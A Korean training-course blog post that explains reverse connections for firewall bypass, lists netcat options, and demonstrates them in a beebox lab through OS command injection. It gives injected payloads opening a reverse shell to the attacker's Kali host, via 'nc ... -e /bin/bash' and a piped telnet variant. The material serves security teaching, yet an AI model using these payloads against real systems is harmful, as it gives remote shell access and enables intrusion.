[SK shieldus Rookies 19기][애플리케이션 보안] Reverse Connection

Sungwuk·2024년 3월 30일
0

Reverse Connection

리버스 커넥션은 일반적으로 열려 있는 포트에 대한 방화벽 제한을 우회하는 데 사용된다. 방화벽은 일반적으로 닫힌 포트에서 들어오는 연결을 차단하지만 나가는 트래픽은 차단하지 않는다. 일반 포워드 커넥션의 경우 클라이언트는 서버의 열려 있는 포트를 통해 서버에 연결하지만, 역방향 연결의 경우 클라이언트는 서버가 연결하는 포트를 연다.리버스 커넥션이 사용되는 가장 일반적인 방법은 방화벽 우회하는 것이다.

2가지 방법을 통해 리버스 커넥션을 알아보자

  • netcat(nc)을 이용한 리버스 커넥션
  • telnet을 이용한 리버스 커넥션

nc(netcat)을 이용한 리버스 커넥션

nc(netcat)란?

nc(netcat)은 TCP 또는 UDP 프로토콜을 사용하여 네트워크 연결에서 읽고 쓰는 데 사용되는 네트워킹 유틸리티다. 이는 네트워킹의 "스위스 아미 나이프"로 불리며 다양한 기능을 가지고 있기 때문. Netcat은 원래 Unix류 운영 체제용으로 개발되었으나 지금은 Linux, Windows, macOS 등 다양한 플랫폼에서 사용할 수 있다.

-l (listen): 서버 모드로 실행하고 들어오는 연결을 수신
-p port (port): 지정된 포트에서 연결을 수신하거나 연결을 시
-t: TCP 프로토콜을 사용하여 연결을 설정합니다.
-u: UDP 프로토콜을 사용하여 연결을 설정합니다.
-k (keepalive): 연결이 종료되었을 때 Netcat이 다시 들어오는 연결을 수락하도록 설정
-v (verbose): 상세한 출력을 표시하여 작업 중에 발생하는 동작을 추적
-w (timeout): 타임아웃 시간을 설정하여 연결 시도나 응답을 대기하는 시간을 제어
-z (zero): 포트 스캐닝을 위해 연결을 시도하지 않고 포트의 상태만 확인
-e filename (excute): 연결이 설정되면 지정된 프로그램을 실행
-s (source_ip): 소스 IP 주소를 지정하여 특정 인터페이스로부터 연결을 설정

beebox OS Command Injection을 통한 예제

입력한 도메인 주소 정보를 출력하는 서비스이다. 여기선 예로 www.naver.com을 입력

또한 OS 명령어 취약점이 있는 애플리케이션인걸 알 수 있다.

우린 이걸 사용하여 beebox(서버) 쪽에서 kali(공격자)쪽으로 요청을 보내 간단히 리버스 커넥션을 구축할 것이다.

www.naver.com; nc 공격자주소 포트번호 -e /bin/bash

우리가 사용하는 공격자 주소는 kali.linux 포트번호는 임의로 8282를 설정하면

www.naver.com; nc kali.linux 8282 -e /bin/bash

이렇게 완성되고 연결이 된다면 bash shell을 실행시켜 공격자 측에서 임의로 제어할 수 있다.


telnet을 이용한 리버스 커넥션

원격자의 호스트 컴퓨터에 접속하기 위해 사용되는 인터넷 프로토콜이다. 사용자가 원거리에 위치한 컴퓨터를 사용할 수 있도록 하는 기능을 가지고 있다. 사용자는 네트워크 상의 컴퓨터에 로그인하여 원격지 컴퓨터의 기능을 사용할 수 있다.

www.naver.com | sleep 1000 | telnet kali.linux 8282 | /bin/bash | telnet kali.linux 9292

8282, 9292 포트로 beebox에서 칼리로 연결(아웃바운딩) | 파이프로 작성한 이유는 순차적이 아닌 동시에 실행되서이다.

8282 포트에서 명령하면 9292포트에서 출력되는걸 볼 수 있다.

방어방법

운영체제 명령어 입력값을 제한 해야한다.

profile
https://github.com/John-Jung

0개의 댓글

관련 채용 정보